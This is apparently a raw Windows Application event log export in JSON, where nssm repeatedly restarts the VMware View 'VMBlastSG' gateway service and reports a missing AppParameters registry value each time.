{"@timestamp":1646743550105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161240}}
{"@timestamp":1646743550106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161241}}
{"@timestamp":1646743678624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161242}}
{"@timestamp":1646743678625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161243}}
{"@timestamp":1646743678625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158548","0"]}}},"module":"Application","provider":"nssm","sequence":161244}}
{"@timestamp":1646743678626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158548","158548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161245}}
{"@timestamp":1646743678642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161246}}
{"@timestamp":1646743678643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161247}}
{"@timestamp":1646743678643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161248}}
{"@timestamp":1646743678644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161249}}
{"@timestamp":1646743807145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161250}}
{"@timestamp":1646743807146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161251}}
{"@timestamp":1646743807147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158052","0"]}}},"module":"Application","provider":"nssm","sequence":161252}}
{"@timestamp":1646743807148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158052","158052","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161253}}
{"@timestamp":1646743807164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161254}}
{"@timestamp":1646743807165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161255}}
{"@timestamp":1646743807166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161256}}
{"@timestamp":1646743807166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161257}}
{"@timestamp":1646743935655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161258}}
{"@timestamp":1646743935658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161259}}
{"@timestamp":1646743935658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151384","0"]}}},"module":"Application","provider":"nssm","sequence":161260}}
{"@timestamp":1646743935659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151384","151384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161261}}
{"@timestamp":1646743935675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161262}}
{"@timestamp":1646743935675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161263}}
{"@timestamp":1646743935676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161264}}
{"@timestamp":1646743935677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161265}}
{"@timestamp":1646744064159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161266}}
{"@timestamp":1646744064160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161267}}
{"@timestamp":1646744064162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157792","0"]}}},"module":"Application","provider":"nssm","sequence":161268}}
{"@timestamp":1646744064163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157792","157792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161269}}
{"@timestamp":1646744064180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161270}}
{"@timestamp":1646744064180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161271}}
{"@timestamp":1646744064181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161272}}
{"@timestamp":1646744064182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161273}}
{"@timestamp":1646744192690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161274}}
{"@timestamp":1646744192690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161275}}
{"@timestamp":1646744192691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158576","0"]}}},"module":"Application","provider":"nssm","sequence":161276}}
{"@timestamp":1646744192691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158576","158576","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161277}}
{"@timestamp":1646744192709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161278}}
{"@timestamp":1646744192709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161279}}
{"@timestamp":1646744192710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161280}}
{"@timestamp":1646744192711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161281}}
{"@timestamp":1646744321198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161282}}
{"@timestamp":1646744321199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161283}}
{"@timestamp":1646744321199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157388","0"]}}},"module":"Application","provider":"nssm","sequence":161284}}
{"@timestamp":1646744321200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157388","157388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161285}}
{"@timestamp":1646744321220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161286}}
{"@timestamp":1646744321221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161287}}
{"@timestamp":1646744321221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161288}}
{"@timestamp":1646744321222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161289}}
{"@timestamp":1646744449745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161290}}
{"@timestamp":1646744449746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161291}}
{"@timestamp":1646744449746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155620","0"]}}},"module":"Application","provider":"nssm","sequence":161292}}
{"@timestamp":1646744449748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155620","155620","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161293}}
{"@timestamp":1646744449764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161294}}
{"@timestamp":1646744449764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161295}}
{"@timestamp":1646744449765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161296}}
{"@timestamp":1646744449766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161297}}
{"@timestamp":1646744578269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161298}}
{"@timestamp":1646744578269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161299}}
{"@timestamp":1646744578271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158424","0"]}}},"module":"Application","provider":"nssm","sequence":161300}}
{"@timestamp":1646744578273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158424","158424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161301}}
{"@timestamp":1646744578293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161302}}
{"@timestamp":1646744578293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161303}}
{"@timestamp":1646744578294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161304}}
{"@timestamp":1646744578295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161305}}
{"@timestamp":1646744707016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161306}}
{"@timestamp":1646744707018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161307}}
{"@timestamp":1646744707019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158488","0"]}}},"module":"Application","provider":"nssm","sequence":161308}}
{"@timestamp":1646744707019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158488","158488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161309}}
{"@timestamp":1646744707036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157768","0"]}}},"module":"Application","provider":"nssm","sequence":161310}}
{"@timestamp":1646744707037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157768","158488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161311}}
{"@timestamp":1646744707088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161312}}
{"@timestamp":1646744707088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161313}}
{"@timestamp":1646744707089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161314}}
{"@timestamp":1646744707089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161315}}
{"@timestamp":1646744835570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161316}}
{"@timestamp":1646744835571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161317}}
{"@timestamp":1646744835572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157888","0"]}}},"module":"Application","provider":"nssm","sequence":161318}}
{"@timestamp":1646744835573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157888","157888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161319}}
{"@timestamp":1646744835589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161320}}
{"@timestamp":1646744835590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161321}}
{"@timestamp":1646744835590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161322}}
{"@timestamp":1646744835591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161323}}
{"@timestamp":1646744956962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":161324}}
{"@timestamp":1646744964098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161325}}
{"@timestamp":1646744964098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161326}}
{"@timestamp":1646744964099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157208","0"]}}},"module":"Application","provider":"nssm","sequence":161327}}
{"@timestamp":1646744964100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157208","157208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161328}}
{"@timestamp":1646744964115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161329}}
{"@timestamp":1646744964116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161330}}
{"@timestamp":1646744964116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161331}}
{"@timestamp":1646744964117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161332}}
{"@timestamp":1646745092630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161333}}
{"@timestamp":1646745092631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161334}}
{"@timestamp":1646745092631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157908","0"]}}},"module":"Application","provider":"nssm","sequence":161335}}
{"@timestamp":1646745092632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157908","157908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161336}}
{"@timestamp":1646745092650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161337}}
{"@timestamp":1646745092651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161338}}
{"@timestamp":1646745092651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161339}}
{"@timestamp":1646745092652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161340}}
{"@timestamp":1646745221291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161341}}
{"@timestamp":1646745221292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161342}}
{"@timestamp":1646745221293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157940","0"]}}},"module":"Application","provider":"nssm","sequence":161343}}
{"@timestamp":1646745221294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157940","157940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161344}}
{"@timestamp":1646745221311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158024","0"]}}},"module":"Application","provider":"nssm","sequence":161345}}
